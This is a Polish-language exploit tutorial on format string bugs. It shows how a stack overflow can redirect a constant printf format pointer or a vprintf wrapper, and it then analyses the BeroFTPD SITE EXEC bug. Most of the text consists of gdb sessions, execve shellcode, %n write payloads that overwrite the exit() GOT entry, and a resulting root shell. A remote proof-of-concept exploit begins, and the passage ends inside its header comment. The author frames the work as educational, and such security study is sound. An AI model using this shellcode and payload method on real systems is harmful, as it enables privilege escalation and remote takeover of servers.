1. Wstep Bledy typu format strings polegaja na odpowiednim oszukaniu funkcji z rodziny *printf w taki sposob by argument ktory jej podajemy byl reprezentowany jako typ formatera do wyswietlenia. "Uchybienie" w nieznajomosci przez funkcje ile naprawde argumentow sluzy jako formater a ktore jako rzeczywisty argument do wyswietlenia staly sie niezwykle grozne poniewaz daje to mozliwosc atakujacemu nadpisanie dowolnego adresu w pamieci procesu. Sa jednak one niezwykle proste do wykrycia i w obecnym czasie rzadko spotykane. Jedna z popularnych metod unikania dawania kontroli bezporedniej dla uzytkownika do argumentow funkcji z rodziny *printf jest deklarowanie na stale w pamieci argumentu jak ma wygladac formater dla funkcji (np. char *fmt="Twoj katalog domowy to: %s\n";). Nastepna z popularnych metod unikniecia bledow tego typu jest pisanie wlasnych funkcji wyswietlajacych / kopiujacych, ktore przyjmuja zmienna liczbe argumentow (korzystajac ze standardowej biblioteczki stdarg.h), a wewnatrz ktorej jest wywolanie do standardowej funkcji z rodziny *printf, ktora zamiast zmiennej liczby argumentow przyjmuje jeden argument typu va_list zainicjowany przez va_start(). Metoda ta jest bardzo efektywna poniewaz funkcje v*printf "wiedza" ile dokladnie przyjmuja argumentow formatowania przez co nie mozliwe jest ich oszukanie. 2. Bulba i Kil3r ci pomoga... Po dluzszym zastanowieniu sie dojdziemy do wniosku ze oba zabezpieczenia dadza sie w prosty sposob obejsc przy odpowiednich zaleznosciach w programie. Jak to kiedys opisywali panowie Bulba i Kil3r (respect rodacy :>) zaleznosci potrzebne do obejscia latek na kompilator StackGuard i StackShield czesto wystapic moga i w tym przypadku... 3. "...patrzac na czlowieka zobacz czlowieka..." Ok spojrzmy na przykladowy programik: root@pi3:~# cat test.c #include void ussage(char *arg) { printf("Ussage:\n%s \n",arg); exit(-1); } int main(int argc, char *argv[]) { char *wsk="HOME = %s\n"; char buf[100]; (argv[1]==NULL) ? ussage(argv[0]) : 1; strcpy(buf,argv[1]); printf(wsk,getenv("HOME")); return 0; } root@pi3:~# cc test.c -o t root@pi3:~# ./t Ussage: ./t root@pi3:~# ./t "pocaloj mnie w srajdziurke..." HOME = /root root@pi3:~# export HOME="HAHAHA jestem 1337 %x%x%x%x%x%x%x%x%x" root@pi3:/root# ./t 1337? HOME = HAHAHA jestem 1337 %x%x%x%x%x%x%x%x%x root@pi3:/root# export HOME=/root root@pi3:~# Jak widac program dziala jak powinien i teorytycznie jest wolny od bledow ciagow formatujacych... Jak sie przyjrzymy programowi widac ze jest w nim prosty blad typu przepelnienia bufora stosowego a co wiecej przed buforem zostal zadeklarowany wskaznik ktory wskazuje formatery dla funkcji printf! (Zakladamy iz program zostal skompilowany ze StackGuardem, na systemie jest niewykonywalnosc stosu i sterty - ale nie z pro-police bo wtedy sztuczka nie wyjdzie poniewaz owa latka zmienia kolejnosc zmiennych automatycznych na stosie!). Sprobujmy wiec nadpisac owy wskaznik adresem ktory my chcemy... root@pi3:~# gdb -q ./t (gdb) r `perl -e 'print "A"x100'`MAMA Starting program: /root/./t `perl -e 'print "A"x100'`MAMA Program received signal SIGSEGV, Segmentation fault. _IO_vfprintf (s=0x40129820, format=0x414d414d
, ap=0xbffff848) at printf-parse.h:103 103 printf-parse.h: No such file or directory. (gdb) p/x 'M' $1 = 0x4d (gdb) p/x 'A' $2 = 0x41 (gdb) p/x 'M' $3 = 0x4d (gdb) p/x 'A' $4 = 0x41 (gdb) qui The program is running. Exit anyway? (y or n) y root@pi3~# Hm... jak widac daje nam to dosyc spore mozliwosci. Sprobujmy ustawic adres wskaznika naszego by wskazywal na adres gdzies w pamieci gdzie zapiszemu parenascie formaterow dla funkcji printf... pi3@root:~# export FMT=`perl -e 'print "%x."x50'` pi3@root:~# gdb -q ./t (gdb) r `perl -e 'print "A"x104'` Starting program: /root/./t `perl -e 'print "A"x104'` Program received signal SIGSEGV, Segmentation fault. _IO_vfprintf (s=0x40129820, format=0x41414141
, ap=0xbffff7a8) at printf-parse.h:103 103 printf-parse.h: No such file or directory. (gdb) x/40s $esp ... ... ... ... 0xbffffddb: "FMT=%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x. %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x." ... ... (gdb) x/s 0xbffffddb+4 0xbffffddf: "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x. %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x." (gdb) r `perl -e 'print "A"x100'``perl -e 'print "\xdf\xfd\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/./t `perl -e 'print "A"x100'``perl -e 'print "\xdf\xfd\xff\xbf"'` bfffff0e.400164c0.7.0.4002a670.40016290.40016290.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.bffffddf.bffff800.4003d2eb.2.bffff894.bffff8a0.804855c.0.bffff868.4003d2bd.400157f4.2.80483b0.bffff894.4003d230.4012a2a8.0.80483d1. Program exited normally. (gdb) VOILA! Undefined command: "VOILA". Try "help". (gdb) qui root@pi3:~# Jak widac mozemy zmusic program by wykonal "sztuczny" format string... Ok ale przecierz jak ktos juz deklaruje wskaznik by wskazywal na stala wartosc (formater w naszym przypadku char *wsk="HOME = %s\n";) to raczej napewno zadeklaruje ja jak typ const! Spojrzmy... root@pi3:~# cat 2test.c #include void ussage(char *arg) { printf("Ussage:\n%s \n",arg); exit(-1); } int main(int argc, char *argv[]) { const char *wsk="HOME = %s\n"; char buf[100]; (argv[1]==NULL) ? ussage(argv[0]) : 1; strcpy(buf,argv[1]); printf(wsk,getenv("HOME")); return 0; } root@pi3:~# cc 2test.c -o 2 root@pi3:~# gdb -q ./2 (gdb) r `perl -e 'print "A"x100'`MAMA Starting program: /root/2 `perl -e 'print "A"x100'`MAMA Program received signal SIGSEGV, Segmentation fault. _IO_vfprintf (s=0x40129820, format=0x414d414d
, ap=0xbffff7a8) at printf-parse.h:103 103 printf-parse.h: No such file or directory. (gdb) qui root@pi3:~# Jak widac nie zawadza nam to zaduzo... czemu? Gdy deklarujemy stala / zmienna typu const to nie mamy prawa zmieniac zawartosci na ktora wskazuje dany adres a nie samego adresu... No dobra... zalozmy ze nie bylo naszego zalozenia o niemozliwosci wykorzystania bledu przepelnienia bufora do zmiany wartosci rejestru %%eip. Sztuczka z bledami formatujacymi zadziala gdy zadeklarowany jest bufor i wskaznik globalnie / statycznie co na architekturze procesorow IA32 (platformie x86) nie daje zadnej mozliwosci przeprowadzenia ataku poprzes przepelnienie bufora. Tu wszystko zalezy od kompilatora. Zalezy gdzie umiesci w jakiej sekcji nasze zmienne nieautomatyczne. Akurat u mnie (mam gcc 2.95.3 z glibc 2.2.3) tak sie skladalo ze nie mialem mozliwosci nadpisania wskaznika naszego ale jakby nam stworzono takie mozliwosci to postepujemy analogicznie jak poprzednio (z tego co sie orientuje to gcc 3.x umieszcza .bss sekcje przed skecja .data wiec przy statycznych deklaracjach mozemy poszalec w moim nieszczesnym 2.95.3 .bss jest na szarym koncu i ma najnizsze adresy ze wszystkich sekcji wiec jedynie co moge to pomazyc :>) root@pi3:~# nm ./3 |grep wsk 00000000080495b0 d wsk.7 root@pi3:~# nm ./3 |grep buf 00000000080496c0 b buf.6 root@pi3:~# gdb -q ./3 (gdb) mai i sec ... ... 0x080495a4->0x080495b4 at 0x000005a4: .data ALLOC LOAD DATA HAS_CONTENTS ... ... 0x080496a0->0x08049740 at 0x000006a0: .bss ALLOC ... (gdb) r `perl -e 'print "A"x500'` Starting program: /root/./3 `perl -e 'print "A"x500'` HOME = /root Program exited normally. (gdb) disass main ... ... 0x80484ec : push $0x80496c0 0x80484f1 : call 0x80483a0 0x80484f6 : add $0x10,%esp ... ... (gdb) b *0x80484f6 Breakpoint 1 at 0x80484f6 (gdb) r `perl -e 'print "A"x500'` Starting program: /root/./3 `perl -e 'print "A"x500'` Breakpoint 1, 0x80484f6 in main () (gdb) x/40x 0x080496a0 0x80496a0 : 0x00000000 0x00000000 0x080495b4 0x00000000 0x80496b0 : 0x00000000 0x4012c740 0x00000000 0x00000000 0x80496c0 : 0x41414141 0x41414141 0x41414141 0x41414141 0x80496d0 : 0x41414141 0x41414141 0x41414141 0x41414141 0x80496e0 : 0x41414141 0x41414141 0x41414141 0x41414141 0x80496f0 : 0x41414141 0x41414141 0x41414141 0x41414141 0x8049700 : 0x41414141 0x41414141 0x41414141 0x41414141 0x8049710 : 0x41414141 0x41414141 0x41414141 0x41414141 0x8049720 : 0x41414141 0x41414141 0x41414141 0x41414141 0x8049730 : 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) qui The program is running. Exit anyway? (y or n) y root@pi3:~# Widac dobitnie ze w tym przypadku jestesmy beznadziejni... Ok a jak sie ma sprawa z funkcjami typu v*printf()? Spojrzmy na przykladzie... root@pi3:~# cat 4test.c #include #include void ussage(char *arg) { printf("Ussage:\n%s \n",arg); exit(-1); } void call_me(const char *fmt, ...) { va_list ap; va_start(ap, fmt); vprintf(fmt,ap); va_end(ap); } int main(int argc, char *argv[]) { char *wsk="HOME = %s\n"; char buf[100]; (argv[1]==NULL) ? ussage(argv[0]) : 1; strcpy(buf,argv[1]); call_me(wsk,getenv("HOME")); exit(-1); } root@pi3:~# cc 4test.c -o 4 root@pi3:~# gdb -q ./4 (gdb) r `perl -e 'print "A"x100'`MAMA Starting program: /root/./4 `perl -e 'print "A"x100'`MAMA Program received signal SIGSEGV, Segmentation fault. _IO_vfprintf (s=0x40129820, format=0x414d414d
, ap=0xbffff7a8) at printf-parse.h:103 103 printf-parse.h: No such file or directory. (gdb) bt #0 _IO_vfprintf (s=0x40129820, format=0x414d414d
, ap=0xbffff7a8) at printf-parse.h:103 #1 0x40072141 in vprintf (format=0x414d414d
, arg=0xbffff7a8) at vprintf.c:32 #2 0x8048518 in call_me () #3 0x8048587 in main () #4 0x4003d2eb in __libc_start_main (main=0x41414141, argc=1094795585, ubp_av=0x41414141, init=0x41414141, fini=0x41414141, rtld_fini=0x41414141, stack_end=0x41414141) at ../sysdeps/generic/libc-start.c:129 #5 0x41414141 in ?? () Cannot access memory at address 0x41414141 (gdb) x/s 0xbffffddf 0xbffffddf: "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x. %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x." (gdb) r `perl -e 'print "A"x100'``perl -e 'print "\xdf\xfd\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/./4 `perl -e 'print "A"x100'``perl -e 'print "\xdf\xfd\xff\xbf"'` bfffff0e.400164c0.7.0.4002a670.40016290.40016290.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.41414141.bffffddf.bffff800.4003d2eb.2.bffff894.bffff8a0.80485cc.0.bffff868.4003d2bd.400157f4.2.80483f0.bffff894.4003d230.4012a2a8.0.8048411. Program exited with code 0377. (gdb) qui root@pi3:~# Bravo! va_list w funkcji zlicza argumenty formatera ale nie ma mozliwosci sprawdzenia czy sie zgadzaja one z iloscia argumentow dla argumentu formatera przez co manipulujac wskaznikiem formatera mamy mozliwosc uzyskania "sztucznego" format stringa bledu! Ok sprubujmy teraz wyexploitowac nasza "bezpieczna" funkcje call_me(): root@pi3:~# objdump -R ./4 |grep exit 0000000008049654 R_386_JUMP_SLOT exit root@pi3:~# export SHELLCODE=`perl -e 'print "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a\x 2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68\x 77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd\x 80\xb3\x7b\xb0\x01\xcd\x80"'` root@pi3:~# gdb -q ./4 (gdb) r `perl -e 'print "A"x104'` Starting program: /root/./4 `perl -e 'print "A"x104'` Program received signal SIGSEGV, Segmentation fault. _IO_vfprintf (s=0x40129820, format=0x41414141
, ap=0xbffff758) at printf-parse.h:103 103 printf-parse.h: No such file or directory. (gdb) x/40s ... ... ... ... 0xbffffe42: "SHELLCODE= ... ... (gdb) x/s 0xbffffe42+10 0xbffffe4c: " (gdb) qui The program is running. Exit anyway? (y or n) y root@pi3:~# export FMT=`perl -e 'print "\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96\x04\x08\x57\x96\x04\x 08"'`%7\$98x%8\$n%7\$98%9\$n%7\$98%10\$n%7\$98%11\$n root@pi3:~# gdb -q ./4 ... ... (gdb) x/s 0xbffffded 0xbffffded: "FMT=T\226\004\bU\226\004\bV\226\004\bW\226\004\b%7$98x%8$n%7$98%9$n%7$98%10$n%7$98%11$n" (gdb) x/s 0xbffffded+4 0xbffffdf1: "T\226\004\bU\226\004\bV\226\004\bW\226\004\b%7$98x%8$n%7$98%9$n%7$98%10$n%7$98%11$n" (gdb) r `perl -e 'print "A"x100'``perl -e 'print "\xf0\xfd\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/./4 `perl -e 'print "A"x100'``perl -e 'print "\xf0\xfd\xff\xbf"'` Program received signal SIGSEGV, Segmentation fault. 0x40071285 in _IO_vfprintf (s=0x40129820, format=0xbffffdf1 "T\226\004\bU\226\004\bV\226\004\bW\226\004\b%7$98x%8$n%7$98%9$n%7$98%10$n%7$98%11$n", ap=0xbffff7b8) at vfprintf.c:1785 1785 vfprintf.c: No such file or directory. (gdb) bt 0 0x40071285 in _IO_vfprintf (s=0x40129820, format=0xbffffdf1 "T\226\004\bU\226\004\bV\226\004\bW\226\004\b%7$98x%8$n%7$98%9$n%7$98%10$n%7$98%11$n", ap=0xbffff7b8) at vfprintf.c:1785 #1 0x40072141 in vprintf ( format=0xbffffdf1 "T\226\004\bU\226\004\bV\226\004\bW\226\004\b%7$98x%8$n%7$98%9$n%7$98%10$n%7$98%11$n", arg=0xbffff7b8) at vprintf.c:32 #2 0x8048518 in call_me () #3 0x8048587 in main () #4 0x4003d2eb in __libc_start_main (main=0x41414141, argc=1094795585, ubp_av=0x41414141, init=0x41414141, fini=0x41414141, rtld_fini=0x41414141, stack_end=0x41414141) at ../sysdeps/generic/libc-start.c:129 #5 0x41414141 in ?? () Cannot access memory at address 0x41414141 (gdb) qui The program is running. Exit anyway? (y or n) y root@pi3:~# Nie ma tak dobrze ;-) Przyjrzyjmy sie jeszcze raz... root@pi3:~# ... ... ... (gdb) bt #0 0x40071285 in _IO_vfprintf (s=0x40129820, format=0xbffffdf1 "T\226\004\bU\226\004\bV\226\004\bW\226\004\b%7$98x%8$n%7$98%9$n%7$98%10$n%7$98%11$n", ap=0xbffff7b8) at vfprintf.c:1785 #1 0x40072141 in vprintf ( format=0xbffffdf1 "T\226\004\bU\226\004\bV\226\004\bW\226\004\b%7$98x%8$n%7$98%9$n%7$98%10$n%7$98%11$n", arg=0xbffff7b8) at vprintf.c:32 #2 0x8048518 in call_me () #3 0x8048587 in main () #4 0x4003d2eb in __libc_start_main (main=0x41414141, argc=1094795585, ubp_av=0x41414141, init=0x41414141, fini=0x41414141, rtld_fini=0x41414141, stack_end=0x41414141) at ../sysdeps/generic/libc-start.c:129 #5 0x41414141 in ?? () Cannot access memory at address 0x41414141 (gdb) x/2i 0x40071285 0x40071285 <_IO_vfprintf+15133>: mov %edi,(%eax) 0x40071287 <_IO_vfprintf+15135>: jmp 0x400719f7 <_IO_vfprintf+17039> (gdb) i r edi eax edi 0x72 114 eax 0x41414141 1094795585 (gdb) No ta nasz bufor tak powinno byc bo przecierz on widzial za 8 formaterem bufor nasz! Undefined command: "No". Try "help". (gdb) x/2i 0x400719f7 0x400719f7 <_IO_vfprintf+17039>: add $0xfffffffc,%esp 0x400719fa <_IO_vfprintf+17042>: mov 0x8(%ebp),%esi (gdb) x/20i 0x40072141 0x40072141 : mov 0xffffffe8(%ebp),%ebx 0x40072144 : leave 0x40072145 : ret 0x40072146 : nop 0x40072147 : nop 0x40072148 : nop 0x40072149 : nop 0x4007214a : nop 0x4007214b : nop 0x4007214c : nop 0x4007214d : nop 0x4007214e : nop 0x4007214f : nop 0x40072150 : push %ebp 0x40072151 : mov %esp,%ebp ... ... (gdb) Hm... "hack_digit" haquersko ;-) Undefined command: "Hm". Try "help". (gdb) qui The program is running. Exit anyway? (y or n) y root@pi3:~# Przecierz 8 argument ktory siebie widzi to bufor nasz! Wiec wszystko jest ok... adresy do nadpisania umiescimy na poczatku naszego bufora wtedy nasz lancuch formatujacy sciagnie go (8 argument) i zapisze pod niego to co chcemy. root@pi3:~# gdb -q ./4 ... ... (gdb) x/s 0xbffffded+4 0xbffffdf1: "T\226\004\bU\226\004\bV\226\004\bW\226\004\b%7$98x%8$n%7$98%9$n%7$98%10$n%7$98%11$n" (gdb) x/s 0xbffffded+4+16 0xbffffe01: "%7$98x%8$n%7$98%9$n%7$98%10$n%7$98%11$n" (gdb) r `perl -e 'print"\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96\x04\x08\x57\x96\x04\x08"'``perl -e 'print "A"x84'``perl -e 'print "\x01\xfe\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/./4 `perl -e 'print"\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96\x04\x08\x57\x96 \x04\x08"'``perl -e 'print "A"x84'``perl -e 'print "\x01\xfe\xff\xbf"'` Program received signal SIGSEGV, Segmentation fault. 0x62 in ?? () (gdb) disass main ... ... 0x8048582 : call 0x80484fc ... ... (gdb) disass call_me ... ... 0x8048513 : call 0x80483c4 ... ... (gdb) b *0x8048513 Breakpoint 1 at 0x8048513 (gdb) r `perl -e 'print"\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96\x04\x08\x57\x96\x04\x08"'``perl -e 'print "A"x84'``perl -e 'print "\x01\xfe\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/./4 `perl -e 'print"\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96\x04\x08\x57\x96 \x04\x08"'``perl -e 'print "A"x84'``perl -e 'print "\x01\xfe\xff\xbf"'` Breakpoint 1, 0x8048513 in call_me () (gdb) i r eax eip eax 0xbffffe01 -1073742258 eip 0x8048513 0x8048513 (gdb) x/s 0xbffffe01 0xbffffe01: "%7$98x%8$n%7$98%9$n%7$98%10$n%7$98%11$n" (gdb) qui root@pi3:~# export FMT=%7\$76x%8\$n%7\$178x%9\$n%7\$257x%10\$n%7\$192x%11\$n root@pi3:~# gdb -q ./4 ... ... (gdb) x/s 0xbffffe01 0xbffffe01: "%7$76x%8$n%7$178x%9$n%7$257x%10$n%7$192x%11$n" r `perl -e 'print"\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96\x04\x08\x57\x96\x04\x08"'``perl -e'print "A"x84'``perl -e 'print "\x01\xfe\xff\xbf"'` Starting program: /root/./2 `perl -e 'print"\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96\x04\x08\x57\x96\x04\x08"'` `perl -e'print "A"x84'``perl -e 'print "\xfa\xfd\xff\xbf"'` ...::: -=[ www.pi3.int.pl ]=- :::... öÿ Program exited with code 0173. (gdb) qui root@pi3:~# Jest git :) zmienmy teraz nasz shellcode (bo byl jak widac write(...); a potem exit(...);) by dal nam powloke. root@pi3:~# export SHELLCODE=`perl -e 'print "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a\x2e\x2e\x2e\x 68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68\x77\x77\x2e\x70\x68\x3d\x 5b\x20\x77\x68\x3a\x3a\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd\x80\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x 31\xdb\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x 31\xd2\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\xb0\x01\xcd\x80"'` root@pi3:~# gdb -q ./4 ... ... (gdb) x/s 0xbffffe21 0xbffffe21: "" (gdb) qui root@pi3:~# To co nas interesta to to ze zmienil sie adres shellcoda wiec trza zmienic formatera ktorego adres tez sie zmieni ok niechce mi sie juz wszystkiego pokazywac dam tylko output: root@pi3:~# (gdb) r `perl -e 'print"\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96\x04\x08\x57\x96\x04\x08"'``perl -e'print "A"x84'``perl -e 'print "\xcf\xfd\xff\xbf"'` Starting program: /root/./4 `perl -e 'print"\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96\x04\x08\x57\x96\x04\x08"'` `perl -e'print "A"x84'``perl -e 'print "\xcf\xfd\xff\xbf"'` ...::: -=[ www.pi3.int.pl ]=- :::... öÿ Program received signal SIGTRAP, Trace/breakpoint trap. 0x40001f20 in _start () at rtld.c:161 161 rtld.c: No such file or directory. (gdb) c Continuing. sh-2.05# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) sh-2.05# exit exit Program exited normally. (gdb) qui root@pi3:~# Ok jak widac dziala jak powinno... 4. "(...) odpusc... a Ci zostana odpuszczone (...)" Pouczajacym przykladem podobnego exploitowania z podobnymi zaleznosciami mozna przedstawic na jakze starym ale edukacyjnym bugu w wu-ftpd w site exec. Ja analizowalem starego BeroFTP. Przyjrzyjmy sie mu blizej: "src/ftpcmd.c" void site_exec(cmd) char *cmd; { ... ... ... ... for (t = cmd; *t && !isspace(*t); t++) { if (isupper(*t)) { *t = tolower(*t); } } ... sprintf(buf, "%s/%s", _PATH_EXECPATH, cmd); cmdf = ftpd_popen(buf, "r", 0); if (!cmdf) { ... ... } else { ... ... lreply(200, cmd); ![1]! while (fgets(buf, sizeof buf, cmdf)) { ... lreply(200, buf); ![2]! ... ... } reply(200, " (end of '%s')", cmd); ... ftpd_pclose(cmdf); } ... } Funkcja lreply() zostala napisana przez autorow programu: "src/ftpd.c" void lreply(int n, char *fmt, ...) { va_list ap; if (!dolreplies) /* prohibited from doing long replies? */ return; va_start(ap, fmt); /* send the reply */ vreply(USE_REPLY_LONG, n, fmt, ap); va_end(ap); } Funkcja vreply() zostala napisana przez autorow programu: "src/ftpd.c" void vreply(long flags, int n, char *fmt, va_list ap) { char buf[FTP_BUFSIZ]; flags &= USE_REPLY_NOTFMT | USE_REPLY_LONG; if (n) /* if numeric is 0, don't output one; use n==0 in place of printf's */ sprintf(buf, "%03d%c", n, flags & USE_REPLY_LONG ? '-' : ' '); /* This is somewhat of a kludge for autospout. I personally think that * autospout should be done differently, but that's not my department. -Kev */ if (flags & USE_REPLY_NOTFMT) snprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), "%s", fmt); else vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap); ... ... ... if (debug) /* debugging output :) */ syslog(LOG_DEBUG, "<--- %s", buf); ... printf("%s\r\n", buf); /* and send it to the client */ ... fflush(stdout); } Spojrzmy na log z ltrace: 3763 _IO_getc(0x4016c6a0) = 'S' 3763 _IO_getc(0x4016c6a0) = 'I' 3763 _IO_getc(0x4016c6a0) = 'T' 3763 _IO_getc(0x4016c6a0) = 'E' 3763 _IO_getc(0x4016c6a0) = ' ' 3763 _IO_getc(0x4016c6a0) = 'e' 3763 _IO_getc(0x4016c6a0) = 'x' 3763 _IO_getc(0x4016c6a0) = 'e' 3763 _IO_getc(0x4016c6a0) = 'c' 3763 _IO_getc(0x4016c6a0) = ' ' 3763 _IO_getc(0x4016c6a0) = '%' 3763 _IO_getc(0x4016c6a0) = 'n' 3763 _IO_getc(0x4016c6a0) = '%' 3763 _IO_getc(0x4016c6a0) = 'n' 3763 _IO_getc(0x4016c6a0) = '\r' 3763 _IO_getc(0x4016c6a0) = '\n' 3763 alarm(0) = 897 3763 strchr("SITE exec %n%n\r\n", '\r') = "\r\n" ... ... ... 3763 strcmp("SITE", "SITE") = 0 3763 strncasecmp(0x08076ac0, 0x08063089, 4, 0x400d3b03, 11) = 3 3763 strncasecmp(0x08076ac0, 0x08062806, 10, 0x400d3b03, 11) = -2 3763 strchr("SITE exec %n%n\n", '\n') = "\n" 3763 vsnprintf("localhost: anonymous/@: SITE exe"..., 2042, "%s: %s", 0xbfffc788) = 38 3763 strcpy(0xbffffe44, "ftpd: localhost: anonymous/@: SI"...) = 0xbffffe44 ... ... ... 3763 strcmp("EXEC", "EXEC") = 0 3763 malloc(5) = 0x08081118 3763 strcpy(0x08081118, "%n%n") = 0x08081118 3763 strchr("%n%n", ' ') = NULL 3763 strchr("%n%n", '/') = NULL 3763 sprintf("/bin/ftp-exec/%n%n", "%s/%s", "/bin/ftp-exec", "%n%n") = 18 3763 getrlimit(7, 0xbfffa214, 0xbfffb34c, 0x0805731b, 0xbfffb7ac) = 0 3763 pipe(0xbfffa20c, 0xbfffa214, 0xbfffb34c, 0x0805731b, 0xbfffb7ac) = 0 3763 strtok("/bin/ftp-exec/%n%n", " \t\n") = "/bin/ftp-exec/%n%n" 3763 strtok(NULL, " \t\n") = NULL 3763 signal(17, NULL) = 0x00000001 3763 vfork(0xbfffb7ac, 0x08081118, 0x0808111d, 0, 0 3763 --- SIGCHLD (Child exited) --- ... ... ... 3763 sprintf("200-", "%03d%c", 200, '-') = 4 3763 vsnprintf( 3763 --- SIGSEGV (Segmentation fault) --- 3763 syslog(3, "exiting on signal %d", 11) = 3763 chdir("/") = 0 3763 signal(6, NULL) = 0x0804b1d8 3763 signal(4, NULL) = 0x0804b1d8 3763 exit(1 3763 __deregister_frame_info(0x080688c4, 0x4000b8d9, 0x40015f64, 0x400168d0, 7) = 0x08068c20 3763 +++ exited (status 1) +++ Sploitujac to uzyskamy pewno roota (zalezy kto uruchamial deamon). Sploitowanie tego NIE ma na celu dawanie jakis tam 0dayow czy sploitow na nowe odkryte bugi... jest to tylko pokazanie metody ze wszystko zalezy od zaleznosci w programie! Nie zawsze z teori bezpieczne funkcje sa bezpieczne a ta stara dziurka jest niezwykle edukacyjna wiec jesli cie to nei interesuje no to nie czytaj... Nie jestem pewien czy wszedzie jest mozliwe wyexploitowanie tej dziurki ze wzgledu na smierdzacy kod w funkcji site_exec(), ktora wywoluje tolower() funkcje dla wlasnego argumentu. W efekcie nie mozemy nadpisac wszystkimi adresami ktorymi chcemy. Mozemy zapomniec o adresach wiekszych niz 0x99999999 poniewaz funkcja sknwertuje je. Na mojej maszynie jednak wszystkie adresy w tablicy GOT byly mniejsze od tego adresu ale do kurwy nedzy jak zdobyc tena dres zdalnie? Nie wiem ;-) Ale mozemu nadpisac MOZE jak jest mozliwosc jakis adres na stosie a noz sie trafi %%eip w odpowienim adresie ;-) W nizej zalaczonyn Proof of Concept nadpisuje adres z tablic GOT funkcji exit() na adres 0xbffffa49 (na mojej lokalnej maszynie znajduje sie pod tym adresem shellcode ktory se walnalem do srodowiska :>). Nie wiem co u Ciebie nadpisze ale przynajmniej pokaze ze jest vuln BeroFTP :) /* * Remote format string in BeroFTPD all users - anonymous too - can sploit this bug. * Where is bug? Look: * * 3763 _IO_getc(0x4016c6a0) = 'S' * 3763 _IO_getc(0x4016c6a0) = 'I' * 3763 _IO_getc(0x4016c6a0) = 'T' * 3763 _IO_getc(0x4016c6a0) = 'E' * 3763 _IO_getc(0x4016c6a0) = ' ' * 3763 _IO_getc(0x4016c6a0) = 'e' * 3763 _IO_getc(0x4016c6a0) = 'x' * 3763 _IO_getc(0x4016c6a0) = 'e' * 3763 _IO_getc(0x4016c6a0) = 'c' * 3763 _IO_getc(0x4016c6a0) = ' ' * 3763 _IO_getc(0x4016c6a0) = '%' * 3763 _IO_getc(0x4016c6a0) = 'n' * 3763 _IO_getc(0x4016c6a0) = '%' * 3763 _IO_getc(0x4016c6a0) = 'n' * 3763 _IO_getc(0x4016c6a0) = '\r' * 3763 _IO_getc(0x4016c6a0) = '\n' * 3763 alarm(0) = 897 * 3763 strchr("SITE exec %n%n\r\n", '\r') = "\r\n" * ... * ... * ... * 3763 strcmp("SITE", "SITE") = 0 * 3763 strncasecmp(0x08076ac0, 0x08063089, 4, 0x400d3b03, 11) = 3 * 3763 strncasecmp(0x08076ac0, 0x08062806, 10, 0x400d3b03, 11) = -2 * 3763 strchr("SITE exec %n%n\n", '\n') = "\n" * 3763 vsnprintf("localhost: anonymous/@: SITE exe"..., 2042, "%s: %s", 0xbfffc788) = 38 * 3763 strcpy(0xbffffe44, "ftpd: localhost: anonymous/@: SI"...) = 0xbffffe44 * ... * ... * ... * 3763 strcmp("EXEC", "EXEC") = 0 * 3763 malloc(5) = 0x08081118 * 3763 strcpy(0x08081118, "%n%n") = 0x08081118 * 3763 strchr("%n%n", ' ') = NULL * 3763 strchr("%n%n", '/') = NULL * 3763 